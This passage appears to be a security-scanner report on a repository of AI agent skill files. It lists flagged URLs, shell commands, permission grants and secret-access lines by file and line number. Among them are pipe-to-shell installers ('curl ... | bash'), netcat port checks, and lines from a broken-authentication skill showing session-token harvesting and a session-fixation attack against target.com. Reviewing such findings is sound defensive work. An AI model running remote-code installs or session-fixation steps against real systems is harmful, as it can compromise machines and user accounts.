    [Credential-related source omitted]
  • Network accessline 182
    baseUrl = http://localhost:8080
  • Network accessline 185
    [sentry] dsn = https://your-sentry-dsn
  • Network accessline 186
    dsn = https://your-sentry-dsn
  • Access to secretsline 194
    [Credential-related source omitted]
  • Access to secretsline 214
    [Credential-related source omitted]
  • Access to secretsline 231
    [Credential-related source omitted]
  • Access to secretsline 253
    [Credential-related source omitted]

skills/backend-dev-guidelines/resources/testing-guide.md

  • Network accessline 190
    # Test authenticated endpoint node scripts/test-auth-route.js http://localhost:3002/form/api/users
  • Network accessline 191
    node scripts/test-auth-route.js http://localhost:3002/form/api/users
  • Network accessline 193
    # Test with POST data node scripts/test-auth-route.js http://localhost:3002/form/api/users POST '{"email":"test@test.com"}'
  • Network accessline 194
    node scripts/test-auth-route.js http://localhost:3002/form/api/users POST '{"email":"test@test.com"}'

skills/backtesting-frameworks/resources/implementation-playbook.md

  • Network accessline 645
    - [Advances in Financial Machine Learning (Marcos López de Prado)](https://www.amazon.com/Advances-Financial-Machine-Learning-Marcos/dp/1119482089)
  • Network accessline 646
    - [Quantitative Trading (Ernest Chan)](https://www.amazon.com/Quantitative-Trading-Build-Algorithmic-Business/dp/1119800064)
  • Network accessline 647
    - [Backtrader Documentation](https://www.backtrader.com/docu/)

skills/bamboohr-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/basecamp-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/bash-defensive-patterns/resources/implementation-playbook.md

  • Dangerous shell operationline 29
    trap 'echo "Cleaning up..."; rm -rf "$TMPDIR"' EXIT
  • Dangerous shell operationline 146
    trap 'rm -rf -- "$TMPDIR"' EXIT
  • Dangerous shell operationline 327
    # Use -I flag to prompt before rm (BSD/GNU compatible)
  • Dangerous shell operationline 328
    rm -rI -- "$dir"
  • Dangerous shell operationline 428
    run_cmd rm "$file"
  • Network accessline 515
    - **Bash Strict Mode**: http://redsymbol.net/articles/unofficial-bash-strict-mode/
  • Network accessline 516
    - **Google Shell Style Guide**: https://google.github.io/styleguide/shellguide.html
  • Network accessline 517
    - **Defensive BASH Programming**: https://www.lifepipe.net/

skills/bash-linux/SKILL.md

  • Broad permissionsline 1
    Read, Write, Edit, Glob, Grep, Bash
  • Network accessline 91
    | Task | Command | |------|---------| | Download | `curl -O https://example.com/file` |
  • Network accessline 92
    |------|---------| | Download | `curl -O https://example.com/file` | | API request | `curl -X GET https://api.example.com` |
  • Network accessline 93
    | Download | `curl -O https://example.com/file` |
  • Network accessline 94
    | API request | `curl -X GET https://api.example.com` |
  • Network accessline 95
    | POST JSON | `curl -X POST -H "Content-Type: application/json" -d '{"key":"value"}' URL` |
  • Network accessline 96
    | Check port | `nc -zv localhost 3000` |
  • Dangerous shell operationline 194
    rm -f /tmp/tempfile

skills/bash-pro/SKILL.md

  • Dangerous shell operationline 62
    - End option parsing with `--` and use `rm -rf -- "$dir"` for safe operations
  • Network accessline 99
    - Declare constants with `readonly` to prevent accidental modification - Use `local` keyword for all function variables to avoid polluting global scope - Implement `timeout` for external commands: `timeout 30s curl ...` prevents hangs
  • Network accessline 100
    - Use `local` keyword for all function variables to avoid polluting global scope - Implement `timeout` for external commands: `timeout 30s curl ...` prevents hangs - Validate file permissions before operations: `[[ -r "$file" ]] || exit 1`
  • Network accessline 101
    - Implement `timeout` for external commands: `timeout 30s curl ...` prevents hangs
  • Dangerous shell operationline 109
    - Use `--` to separate options from arguments: `rm -rf -- "$user_input"`
  • Dangerous shell operationline 176
    - **Privilege analysis**: Audit scripts for unnecessary root/sudo requirements
  • Dangerous shell operationline 274
    - **Safe Temp Handling**: `trap 'rm -rf "$tmpdir"' EXIT; tmpdir=$(mktemp -d)`
  • Network accessline 295
    ### Style Guides & Best Practices - [Google Shell Style Guide](https://google.github.io/styleguide/shellguide.html) - Comprehensive style guide covering quoting, arrays, and when to use shell
  • Network accessline 296
    - [Google Shell Style Guide](https://google.github.io/styleguide/shellguide.html) - Comprehensive style guide covering quoting, arrays, and when to use shell
  • Network accessline 297
    - [Bash Pitfalls](https://mywiki.wooledge.org/BashPitfalls) - Catalog of common Bash mistakes and how to avoid them
  • Network accessline 298
    - [Bash Hackers Wiki](https://wiki.bash-hackers.org/) - Comprehensive Bash documentation and advanced techniques
  • Network accessline 299
    - [Defensive BASH Programming](https://www.kfirlavi.com/blog/2012/11/14/defensive-bash-programming/) - Modern defensive programming patterns
  • Network accessline 301
    ### Tools & Frameworks - [ShellCheck](https://github.com/koalaman/shellcheck) - Static analysis tool and extensive wiki documentation
  • Network accessline 302
    - [ShellCheck](https://github.com/koalaman/shellcheck) - Static analysis tool and extensive wiki documentation
  • Network accessline 303
    - [shfmt](https://github.com/mvdan/sh) - Shell script formatter with detailed flag documentation
  • Network accessline 304
    - [bats-core](https://github.com/bats-core/bats-core) - Maintained Bash testing framework
  • Network accessline 305
    - [shellspec](https://github.com/shellspec/shellspec) - BDD-style testing framework for shell scripts
  • Network accessline 306
    - [bashly](https://bashly.dannyb.co/) - Modern Bash CLI framework generator
  • Network accessline 307
    - [shdoc](https://github.com/reconquest/shdoc) - Documentation generator for shell scripts
  • Network accessline 309
    ### Security & Advanced Topics - [Bash Security Best Practices](https://github.com/carlospolop/PEASS-ng) - Security-focused shell script patterns
  • Network accessline 310
    - [Bash Security Best Practices](https://github.com/carlospolop/PEASS-ng) - Security-focused shell script patterns
  • Network accessline 311
    - [Awesome Bash](https://github.com/awesome-lists/awesome-bash) - Curated list of Bash resources and tools
  • Network accessline 312
    - [Pure Bash Bible](https://github.com/dylanaraps/pure-bash-bible) - Collection of pure bash alternatives to external commands

skills/bats-testing-patterns/resources/implementation-playbook.md

  • Network accessline 22
    # Ubuntu/Debian git clone https://github.com/bats-core/bats-core.git
  • Network accessline 23
    git clone https://github.com/bats-core/bats-core.git
  • Dangerous shell operationline 69
    rm -rf "$TMPDIR"
  • Dangerous shell operationline 206
    rm -rf "$TEST_DIR"
  • Dangerous shell operationline 236
    rm -rf "$TMPDIR/data"
  • Dangerous shell operationline 262
    rm -rf "$SHARED_RESOURCE"
  • Network accessline 321
    @test "Function works with stubbed curl" {     create_stub curl "{ \"status\": \"ok\" }" 0
  • Network accessline 322
    create_stub curl "{ \"status\": \"ok\" }" 0
  • Dangerous shell operationline 364
    rm -rf "$WORK_DIR"
  • Dangerous shell operationline 542
    rm -rf "$TEST_DIR"
  • Network accessline 611
    - **Bats GitHub**: https://github.com/bats-core/bats-core
  • Network accessline 612
    - **Bats Documentation**: https://bats-core.readthedocs.io/
  • Network accessline 613
    - **TAP Protocol**: https://testanything.org/
  • Network accessline 614
    - **Test-Driven Development**: https://en.wikipedia.org/wiki/Test-driven_development

skills/bazel-build-optimization/SKILL.md

  • Network accessline 77
    sha256 = "...",     strip_prefix = "rules_js-1.34.0",     url = "https://github.com/aspect-build/rules_js/releases/download/v1.34.0/rules_js-v1.34.0.tar.gz",
  • Network accessline 78
    strip_prefix = "rules_js-1.34.0",     url = "https://github.com/aspect-build/rules_js/releases/download/v1.34.0/rules_js-v1.34.0.tar.gz", )
  • Network accessline 79
    url = "https://github.com/aspect-build/rules_js/releases/download/v1.34.0/rules_js-v1.34.0.tar.gz",
  • Network accessline 104
    sha256 = "...",     strip_prefix = "rules_python-0.27.0",     url = "https://github.com/bazelbuild/rules_python/releases/download/0.27.0/rules_python-0.27.0.tar.gz",
  • Network accessline 105
    strip_prefix = "rules_python-0.27.0",     url = "https://github.com/bazelbuild/rules_python/releases/download/0.27.0/rules_python-0.27.0.tar.gz", )
  • Network accessline 106
    url = "https://github.com/bazelbuild/rules_python/releases/download/0.27.0/rules_python-0.27.0.tar.gz",
  • Network accessline 147
    build:ci --config=remote-cache build:ci --build_metadata=ROLE=CI build:ci --bes_results_url=https://results.example.com/invocation/
  • Network accessline 148
    build:ci --build_metadata=ROLE=CI build:ci --bes_results_url=https://results.example.com/invocation/ build:ci --bes_backend=grpcs://bes.example.com
  • Network accessline 149
    build:ci --bes_results_url=https://results.example.com/invocation/
  • Network accessline 397
    - [Bazel Documentation](https://bazel.build/docs)
  • Network accessline 398
    - [Bazel Remote Execution](https://bazel.build/docs/remote-execution)
  • Network accessline 399
    - [rules_js](https://github.com/aspect-build/rules_js)

skills/beautiful-prose/SKILL.md

  • Network accessline 2
    name: beautiful-prose description: "Hard-edged writing style contract for timeless, forceful English prose without AI tics" source: "https://github.com/SHADOWPR0/beautiful_prose"
  • Network accessline 3
    description: "Hard-edged writing style contract for timeless, forceful English prose without AI tics" source: "https://github.com/SHADOWPR0/beautiful_prose" risk: safe
  • Network accessline 4
    source: "https://github.com/SHADOWPR0/beautiful_prose"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/SHADOWPR0/beautiful_prose).

skills/billing-automation/resources/implementation-playbook.md

  • Network accessline 254
    'customer_name': customer.name,             'amount_due': subscription.plan.amount,             'update_payment_url': f"https://app.example.com/billing"
  • Network accessline 255
    'amount_due': subscription.plan.amount,             'update_payment_url': f"https://app.example.com/billing"         })
  • Network accessline 256
    'update_payment_url': f"https://app.example.com/billing"

skills/bitbucket-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/blockrun/SKILL.md

  • Broad permissionsline 1
    Read, Bash(python:*), Bash(python3:*), Bash(pip:*), Bash(source:*)

skills/box-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
  • Network accessline 53
    - Files over 50MB should use chunk upload APIs (not available via standard tools) - The `attributes` part of upload must come before the `file` part or you get HTTP 400 with `metadata_after_file_contents` - File IDs and folder IDs are numer
  • Network accessline 55
    - File IDs and folder IDs are numeric strings extractable from Box web app URLs (e.g., `https://*.app.box.com/files/123` gives file_id `"123"`)
  • Network accessline 166
    Box uses numeric string IDs for all entities: - **Root folder**: Always ID `"0"` - **File ID from URL**: `https://*.app.box.com/files/123` gives file_id `"123"`
  • Network accessline 167
    - **Root folder**: Always ID `"0"` - **File ID from URL**: `https://*.app.box.com/files/123` gives file_id `"123"` - **Folder ID from URL**: `https://*.app.box.com/folder/123` gives folder_id `"123"`
  • Network accessline 168
    - **File ID from URL**: `https://*.app.box.com/files/123` gives file_id `"123"`
  • Network accessline 169
    - **Folder ID from URL**: `https://*.app.box.com/folder/123` gives folder_id `"123"`

skills/brand-guidelines-anthropic/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/brand-guidelines-community/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/brevo-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/broken-authentication/SKILL.md

  • Network accessline 187
    tokens = [] for i in range(100):     response = requests.get("https://target.com/login")
  • Network accessline 188
    [Credential-related source omitted]
  • Network accessline 189
    response = requests.get("https://target.com/login")
  • Network accessline 222
    1. Attacker visits site, gets session: SESSIONID=attacker_session 2. Attacker sends link to victim with fixed session:    https://target.com/login?SESSIONID=attacker_session
  • Network accessline 223
    2. Attacker sends link to victim with fixed session:    https://target.com/login?SESSIONID=attacker_session 3. Victim logs in with attacker's session
  • Network accessline 224
    https://target.com/login?SESSIONID=attacker_session
  • Network accessline 307
    [Credential-related source omitted]
  • Network accessline 308
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 466
    [Credential-related source omitted]
  • Network accessline 467
    [Credential-related source omitted]

skills/browser-extension-builder/SKILL.md

  • Network accessline 153
    {   "content_scripts": [{     "matches": ["https://specific-site.com/*"],
  • Network accessline 154
    "content_scripts": [{     "matches": ["https://specific-site.com/*"],     "js": ["content.js"],
  • Network accessline 155
    "matches": ["https://specific-site.com/*"],

skills/bun-development/SKILL.md

  • Network accessline 10
    > Fast, modern JavaScript/TypeScript development with the Bun runtime, inspired by [oven-sh/bun](https://github.com/oven-sh/bun).
  • Network accessline 29
    # macOS / Linux curl -fsSL https://bun.sh/install | bash
  • Dangerous shell operationline 30
    curl -fsSL https://bun.sh/install | bash
  • Network accessline 30
    curl -fsSL https://bun.sh/install | bash
  • Network accessline 148
    # From specific registry bun add lodash --registry https://registry.npmmirror.com
  • Network accessline 149
    bun add lodash --registry https://registry.npmmirror.com
  • Network accessline 156
    # From git bun add github:user/repo bun add git+https://github.com/user/repo.git
  • Network accessline 158
    bun add git+https://github.com/user/repo.git
  • Access to secretsline 240
    [Credential-related source omitted]
  • Access to secretsline 243
    [Credential-related source omitted]
  • Network accessline 289
    fetch(request) {
  • Network accessline 311
    console.log(`Server running at http://localhost:${server.port}`);
  • Network accessline 320
    fetch(req, server) {
  • Network accessline 587
    # 1. Install Bun curl -fsSL https://bun.sh/install | bash
  • Dangerous shell operationline 588
    curl -fsSL https://bun.sh/install | bash
  • Network accessline 588
    curl -fsSL https://bun.sh/install | bash
  • Dangerous shell operationline 591
    rm -rf node_modules package-lock.json
  • Network accessline 648
    // Do: Bun.serve (native, 4-10x faster) Bun.serve({   fetch(req) {
  • Network accessline 649
    Bun.serve({   fetch(req) {     return new Response("Hello!");
  • Network accessline 650
    fetch(req) {
  • Network accessline 690
    - [Bun Documentation](https://bun.sh/docs)
  • Network accessline 691
    - [Bun GitHub](https://github.com/oven-sh/bun)
  • Network accessline 692
    - [Elysia Framework](https://elysiajs.com/)
  • Network accessline 693
    - [Bun Discord](https://bun.sh/discord)

skills/burp-suite-testing/SKILL.md

  • Network accessline 366
    ### HTTPS Interception Failing - Install Burp CA certificate in browser/system - Navigate to http://burp to download certificate
  • Network accessline 367
    - Install Burp CA certificate in browser/system - Navigate to http://burp to download certificate - Add certificate to trusted roots
  • Network accessline 368
    - Navigate to http://burp to download certificate

skills/busybox-on-windows/SKILL.md

  • Network accessline 16
    2. Print the OS versions: `Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | Select-Object ProductName, DisplayVersion, CurrentBuild` 3. Download a suitable build of BusyBox by running one of these PowerShell commands:
  • Network accessline 17
    3. Download a suitable build of BusyBox by running one of these PowerShell commands:    - 32-bit x86 (ANSI): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox.exe -OutFile busybox.e
  • Network accessline 18
    - 32-bit x86 (ANSI): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox.exe -OutFile busybox.exe`
  • Network accessline 19
    - 64-bit x86 (ANSI): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox64.exe -OutFile busybox.exe`
  • Network accessline 20
    - 64-bit x86 (Unicode): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox64u.exe -OutFile busybox.exe`
  • Network accessline 21
    - 64-bit ARM (Unicode): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox64a.exe -OutFile busybox.exe`
  • Network accessline 31
    Documentation: https://frippery.org/busybox/
  • Network accessline 32
    Original BusyBox: https://busybox.net/

skills/c4-architecture-c4-architecture/SKILL.md

  • Network accessline 33
    This workflow creates comprehensive C4 architecture documentation following the [official C4 model](https://c4model.com/diagrams) by:
  • Network accessline 40
    **Note**: According to the [C4 model](https://c4model.com/diagrams), you don't need to use all 4 levels of diagram - the system context and container diagrams are sufficient for most software development teams. This workflow generates all l

skills/c4-code/SKILL.md

  • Network accessline 205
    **Note**: According to the [C4 model](https://c4model.com/diagrams), code diagrams are typically only created when needed for complex components. Most teams find system context and container diagrams sufficient. Choose the diagram type that

skills/c4-component/SKILL.md

  • Network accessline 99
    **Key Principles** (from [c4model.com](https://c4model.com/diagrams/component)):

skills/c4-container/SKILL.md

  • Network accessline 106
    **Key Principles** (from [c4model.com](https://c4model.com/diagrams/container)):
  • Network accessline 125
    version: 1.0.0 servers:   - url: https://api.example.com
  • Network accessline 126
    servers:   - url: https://api.example.com     description: Production server
  • Network accessline 127
    - url: https://api.example.com

skills/c4-context/SKILL.md

  • Network accessline 97
    According to the [C4 model](https://c4model.com/diagrams/system-context), a System Context diagram shows the system as a box in the center, surrounded by its users and the other systems that it interacts with. The focus is on **people (acto
  • Network accessline 117
    **Key Principles** (from [c4model.com](https://c4model.com/diagrams/system-context)):

skills/cal-com-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/calendly-automation/SKILL.md

  • Network accessline 23
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
  • Network accessline 42
    **Key parameters**: - `user`: Full Calendly API URI (e.g., `https://api.calendly.com/users/{uuid}`) - NOT `"me"`
  • Network accessline 43
    - `user`: Full Calendly API URI (e.g., `https://api.calendly.com/users/{uuid}`) - NOT `"me"`
  • Network accessline 92
    **Key parameters**: - `owner`: Event type URI (e.g., `https://api.calendly.com/event_types/{uuid}`)
  • Network accessline 93
    - `owner`: Event type URI (e.g., `https://api.calendly.com/event_types/{uuid}`)
  • Network accessline 102
    - `CALENDLY_LIST_EVENT_TYPE_AVAILABLE_TIMES` requires UTC timestamps and max 7-day range; split longer searches - Available times results are NOT paginated - all results returned in one response - Event type URIs must be full API URIs (e.g.
  • Network accessline 104
    - Event type URIs must be full API URIs (e.g., `https://api.calendly.com/event_types/...`)
  • Network accessline 151
    ### ID Resolution Calendly uses full API URIs as identifiers, not simple IDs: - **Current user URI**: `CALENDLY_GET_CURRENT_USER` returns `resource.uri` (e.g., `https://api.calendly.com/users/{uuid}`)
  • Network accessline 152
    Calendly uses full API URIs as identifiers, not simple IDs: - **Current user URI**: `CALENDLY_GET_CURRENT_USER` returns `resource.uri` (e.g., `https://api.calendly.com/users/{uuid}`) - **Organization URI**: Found in current user response at
  • Network accessline 153
    - **Current user URI**: `CALENDLY_GET_CURRENT_USER` returns `resource.uri` (e.g., `https://api.calendly.com/users/{uuid}`)
  • Network accessline 173
    ### URI Formats - All entity references use full Calendly API URIs (e.g., `https://api.calendly.com/users/{uuid}`)
  • Network accessline 174
    - All entity references use full Calendly API URIs (e.g., `https://api.calendly.com/users/{uuid}`)

skills/canva-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/canvas-design/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt

  • Network accessline 1
    Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/Boldonse-OFL.txt

  • Network accessline 1
    Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt

  • Network accessline 1
    Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt

  • Network accessline 1
    Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/DMMono-OFL.txt

  • Network accessline 1
    Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/EricaOne-OFL.txt

  • Network accessline 4
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 6
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/GeistMono-OFL.txt

  • Network accessline 1
    Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/Gloock-OFL.txt

  • Network accessline 1
    Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt

  • Network accessline 1
    Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/Italiana-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt

  • Network accessline 1
    Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/Jura-OFL.txt

  • Network accessline 1
    Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt

  • Network accessline 1
    Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville.
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/Lora-OFL.txt

  • Network accessline 1
    Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora".
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/NationalPark-OFL.txt

  • Network accessline 1
    Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/Outfit-OFL.txt

  • Network accessline 1
    Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt

  • Network accessline 1
    Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt

  • Network accessline 1
    Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt

  • Network accessline 1
    Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt

  • Network accessline 1
    Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/Tektur-OFL.txt

  • Network accessline 1
    Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/WorkSans-OFL.txt

  • Network accessline 1
    Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt

  • Network accessline 1
    Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

skills/cc-skill-backend-patterns/SKILL.md

  • Access to secretsline 354
    [Credential-related source omitted]
  • Network accessline 431
    ): Promise<boolean> {     const now = Date.now()     const requests = this.requests.get(identifier) || []
  • Network accessline 433
    const requests = this.requests.get(identifier) || []
  • Network accessline 435
    // Remove old requests outside window     const recentRequests = requests.filter(time => now - time < windowMs)
  • Network accessline 436
    const recentRequests = requests.filter(time => now - time < windowMs)
  • Network accessline 442
    // Add current request     recentRequests.push(now)     this.requests.set(identifier, recentRequests)
  • Network accessline 444
    this.requests.set(identifier, recentRequests)

skills/cc-skill-coding-standards/SKILL.md

  • Network accessline 90
    async function fetchData(url: string) {   try {     const response = await fetch(url)
  • Network accessline 92
    const response = await fetch(url)
  • Network accessline 105
    // ❌ BAD: No error handling async function fetchData(url) {   const response = await fetch(url)
  • Network accessline 106
    async function fetchData(url) {   const response = await fetch(url)   return response.json()
  • Network accessline 107
    const response = await fetch(url)

skills/cc-skill-continuous-learning/evaluate-session.sh

  • Executable scriptline 1
    #!/bin/bash

skills/cc-skill-frontend-patterns/SKILL.md

  • Network accessline 107
    useEffect(() => {     fetch(url)
  • Network accessline 108
    fetch(url)
  • Network accessline 192
    const { data: markets, loading, error, refetch } = useQuery(   'markets',   () => fetch('/api/markets').then(r => r.json()),
  • Network accessline 193
    'markets',   () => fetch('/api/markets').then(r => r.json()),   {
  • Network accessline 194
    () => fetch('/api/markets').then(r => r.json()),

skills/cc-skill-project-guidelines-example/SKILL.md

  • Network accessline 14
    Based on a real production application: [Zenith](https://zenith.chat) - AI-powered customer discovery platform.
  • Network accessline 135
    ): Promise<ApiResponse<T>> {   try {     const response = await fetch(`/api${endpoint}`, {
  • Network accessline 136
